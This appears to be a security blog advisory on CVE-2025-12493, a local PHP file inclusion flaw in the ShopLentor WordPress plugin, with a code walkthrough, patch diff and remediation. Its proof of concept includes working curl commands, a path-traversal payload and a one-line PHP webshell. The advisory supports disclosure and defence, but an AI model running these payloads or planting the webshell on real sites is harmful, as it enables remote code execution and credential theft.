ShopLentor WooCommerce Builder WordPress plugin banner

CVE-2025-12493: Local PHP File Inclusion in ShopLentor

CVE-2025-12493 is a CVSS 9.8 Critical unauthenticated local PHP file inclusion vulnerability in the ShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules WordPress plugin. Any site visitor can extract a public nonce from the page source. With that nonce, they can call the woolentor_load_more_products AJAX action and pass a path-traversal value in the style parameter. This lets them include and run arbitrary .php files on the server — achieving full remote code execution.

Vulnerability Summary

FieldValue
Plugin NameShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules – All in One Solution (formerly WooLentor)
Plugin Slugwoolentor-addons
CVE IDCVE-2025-12493
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Local PHP File Inclusion via load_template
Affected Versions<= 3.2.5
Patched Version3.2.6
PublishedNovember 3, 2025
Researchermikemyers
Wordfence AdvisoryLink

Description

ShopLentor (also known as WooLentor) is a WooCommerce page builder plugin for WordPress. All versions up to and including 3.2.5 are vulnerable to Local File Inclusion via the load_template function. Attackers with no login can use this to include and run arbitrary .php files already on the server. An attacker can bypass access controls, steal sensitive data, or achieve full code execution if they can upload a .php file to the server.

Technical Analysis

Vulnerable Code Path

The vulnerability has three connected parts:

1. Nonce Exposed Publicly — classes/class.assest_management.php:288

$localizeargs = array(
    'woolentorajaxurl' => admin_url( 'admin-ajax.php' ),
    'ajax_nonce'       => wp_create_nonce( 'woolentor_psa_nonce' ),
);
wp_localize_script( 'woolentor-widgets-scripts', 'woolentor_addons', $localizeargs );

The nonce woolentor_psa_nonce is embedded in every public-facing page as the JavaScript variable woolentor_addons.ajax_nonce. Any site visitor — authenticated or not — can extract this value from the page HTML.

2. AJAX Handler Registered for Unauthenticated Users — classes/class.ajax_actions.php:40–43

// Load more products for product grid
add_action( 'wp_ajax_woolentor_load_more_products', [$this, 'load_more_products'] );
add_action( 'wp_ajax_nopriv_woolentor_load_more_products', [$this, 'load_more_products'] );

Since nopriv is registered, the load_more_products handler is callable by anyone — no login required.

3. The load_more_products Handler — classes/class.ajax_actions.php:213–248

public function load_more_products() {

    if ( ! class_exists( 'WooLentor_Product_Grid_Base' ) ) {
        require_once WOOLENTOR_ADDONS_PL_PATH . 'includes/addons/product-grid/base/class.product-grid-base.php';
    }

    $product_grid_base = new WooLentor_Product_Grid_Base();

    // Verify nonce
    if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'woolentor_psa_nonce' ) ) {
        wp_send_json_error( array( 'message' => __( 'Security check failed', 'woolentor' ) ) );
    }

    // Get settings and page number
    $page = isset( $_POST['page'] ) ? absint( $_POST['page'] ) : 2;

    $setting_data = isset( $_POST['settings'] ) ? (is_string($_POST['settings']) ? stripslashes( $_POST['settings'] ) : '' ) : '';
    $setting_data = json_decode( $setting_data, true );   // <-- attacker-controlled JSON
    $view_layout = isset( $_POST['viewlayout'] ) ? $_POST['viewlayout'] : '';

    if(!empty($view_layout)){
        $setting_data['layout'] = $view_layout;
    }

    $setting_data['paged'] = $page;

    ob_start();
    $product_grid_base->render_items( $setting_data, true );   // <-- passes tainted $setting_data
    $html = ob_get_clean();

    wp_send_json_success( array( 'html' => $html, 'current_page' => $page ));
}

The POST body field settings is JSON-decoded without any sanitization. The code then passes $setting_data directly to render_items(), which passes $setting_data['style'] — fully controlled by the attacker — to load_template().

4. Unsanitized Template Resolution — includes/addons/product-grid/base/class.product-grid-base.php:302–321

public function get_template_path( $style, $layout = 'grid' ) {
    $specific_template = $style . '.php';
    $template_path = WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' . $specific_template;

    return apply_filters( 'woolentor_product_grid_template_path', $template_path, $style, $layout );
}

public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
    $template_path = $this->get_template_path( $style, $layout );

    if ( file_exists( $template_path ) ) {
        if ( ! function_exists( 'woocommerce_get_product_thumbnail' ) ) {
            return;
        }
        include $template_path;   // <-- direct PHP include of attacker-supplied path
    }
}

Since there is no whitelist check, no sanitize_key(), and no path traversal prevention, $style flows straight into the file path. PHP’s include then executes whatever .php file the resolved path points to — including files reached via ../ sequences.

Root Cause

The root cause is a two-part failure:

  1. Missing input validation: The style key extracted from $_POST['settings'] JSON is never checked against the list of allowed styles (modern, minimalist, editorial, etc.) before being used to construct a file path.
  2. Missing path containment: get_template_path() uses naive string concatenation without calling realpath() or verifying that the resolved path lies within templates/product-grid/. A style value of ../../../../wp-content/uploads/malicious resolves entirely outside the intended directory.

Why Existing Controls Failed

One existing control — a nonce check — was meant to prevent unauthorized calls. However, it failed for a specific reason: the nonce was public.

The nonce check (wp_verify_nonce) looks like a guard, but it is not. The nonce itself is embedded in every public page via wp_localize_script, so anyone can read it. WordPress nonces are not secrets — they are anti-CSRF tokens tied to the current user session. For visitors who are not logged in, the nonce is generated for the zero-user context and stays valid for 24 hours. Any visitor can extract woolentor_addons.ajax_nonce from the page source and reuse it to pass the check.

The nonce only shows the request came from a page with the plugin’s scripts loaded. It does not check whether the caller is logged in or allowed to access files.

Attack Impact

Any attacker who can:

can achieve Remote Code Execution (RCE) by including and running the uploaded file. Even without a pre-uploaded file, the attacker can target existing PHP files on shared hosting (such as configuration files) to leak credentials.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Extract the public nonce

Visit any page on the target site that renders a ShopLentor product grid (e.g., the homepage or a shop page). The nonce is embedded in the page’s inline JavaScript:

# Extract the nonce from the page source
NONCE=$(curl -s "http://target.example.com/shop/" \
  | grep -oP '"ajax_nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"

The output of woolentor_addons.ajax_nonce in the JavaScript object in the page source will be the raw nonce value.

Step 2: Prepare a PHP webshell (attacker-controlled server or upload)

For maximum impact, the attacker uploads a PHP file to the server. For example, using a WooCommerce product review image upload or another file-upload vulnerability:

<?php system($_GET['cmd']); ?>

Assume it lands at the WordPress uploads directory, e.g.: /var/www/html/wp-content/uploads/2025/11/shell.php

Step 3: Trigger Local File Inclusion via the AJAX endpoint

Craft the style parameter to traverse out of the templates/product-grid/ directory and point at the uploaded shell. For a typical WordPress layout where the plugin is at wp-content/plugins/woolentor-addons/, the payload needs 4 levels of ../:

curl -s -X POST "http://target.example.com/wp-admin/admin-ajax.php" \
  -d "action=woolentor_load_more_products" \
  -d "nonce=${NONCE}" \
  --data-urlencode 'settings={"style":"../../../../uploads/2025/11/shell","layout":"grid","posts_per_page":1,"query_type":"products","enable_pagination":false}'

The server constructs the path:

/var/www/html/wp-content/plugins/woolentor-addons/templates/product-grid/../../../../uploads/2025/11/shell.php

Which resolves to:

/var/www/html/wp-content/uploads/2025/11/shell.php

Step 4: Verify code execution

After the AJAX request, check the response. The included PHP file’s output will be embedded in the html field of the JSON response:

# With a webshell included, add a GET parameter to execute a command
curl -s -X POST "http://target.example.com/wp-admin/admin-ajax.php?cmd=id" \
  -d "action=woolentor_load_more_products" \
  -d "nonce=${NONCE}" \
  --data-urlencode 'settings={"style":"../../../../uploads/2025/11/shell","layout":"grid","posts_per_page":1,"query_type":"products","enable_pagination":false}'

Expected Result

The JSON response will contain the output of id (or whatever command was injected) embedded in the data.html field, confirming RCE as the web server user.

Verification

Inspect the data.html field of the JSON response:

{
  "success": true,
  "data": {
    "html": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n",
    "current_page": 2
  }
}

A non-empty command output in html confirms successful code execution.

Patch Analysis

What Changed

The patch modifies includes/addons/product-grid/base/class.product-grid-base.php with two layered defenses.

Fix Explanation

Defense 1 — Strict style whitelist in load_template():

 public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
-    $template_path = $this->get_template_path( $style, $layout );
+    $style = isset( $style ) ? sanitize_key( $style ) : 'modern';
+    if ( ! in_array( $style, $this->get_allowed_styles(), true ) ) {
+        $style = 'modern';
+    }
+    $template_path = $this->get_template_path( $style );

Before calling get_template_path(), the code now sanitizes $style with sanitize_key(), which removes special characters, directory separators, and dots. It then checks the value against a private allowlist from get_allowed_styles(). If the value is not in the list, it falls back to modern. In version 3.2.6, the allowlist contains only ['modern'].

Defense 2 — Path containment check in get_template_path():

-public function get_template_path( $style, $layout = 'grid' ) {
-    $specific_template = $style . '.php';
-    $template_path = WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' . $specific_template;
-    return apply_filters( 'woolentor_product_grid_template_path', $template_path, $style, $layout );
-}
+private function get_template_path( string $style ) : string {
+    $base_dir     = wp_normalize_path( WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' );
+    $candidate    = wp_normalize_path( $base_dir . $style . '.php' );
+    $real_base    = wp_normalize_path( realpath( $base_dir ) );
+    $real_target  = wp_normalize_path( realpath( $candidate ) );
+
+    if ( ! $real_target || strpos( $real_target, $real_base ) !== 0 || ! is_file( $real_target ) ) {
+        $fallback = wp_normalize_path( $base_dir . 'modern.php' );
+        return is_file( $fallback ) ? $fallback : '';
+    }
+
+    return apply_filters( 'woolentor_product_grid_template_path', $real_target, $style );
+}

Even if the whitelist were bypassed, a second check protects the server. The new get_template_path() calls realpath() to find the true path on disk, then confirms that path starts with the expected templates/product-grid/ directory. Any path traversal sequence that escapes the directory is caught and replaced with the modern.php fallback.

The fix addresses the root cause at two independent layers — allowlist and path containment. This makes it resistant to both direct exploitation and filter-hook abuse.

Code Diff (Key Changes)

+    private function get_allowed_styles() : array {
+        return [
+            'modern',
+        ];
+    }

     public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
-        $template_path = $this->get_template_path( $style, $layout );
+        $style = isset( $style ) ? sanitize_key( $style ) : 'modern';
+        if ( ! in_array( $style, $this->get_allowed_styles(), true ) ) {
+            $style = 'modern';
+        }
+        $template_path = $this->get_template_path( $style );
 
         if ( file_exists( $template_path ) ) {

Timeline

DateEvent
UnknownVulnerability discovered and reported by mikemyers
November 3, 2025Publicly disclosed by Wordfence
November 4, 2025Advisory updated; patched version 3.2.6 released

Remediation

Update the woolentor-addons plugin to version 3.2.6 or later.

References

  1. https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/includes/addons/product-grid/base/class.product-grid-base.php#L378
  2. https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L241
  3. https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L213
  4. https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L42
  5. https://plugins.trac.wordpress.org/changeset/3388234/
  6. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woolentor-addons/shoplentor-325-unauthenticated-local-php-file-inclusion-via-load-template
  7. https://www.cve.org/CVERecord?id=CVE-2025-12493

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee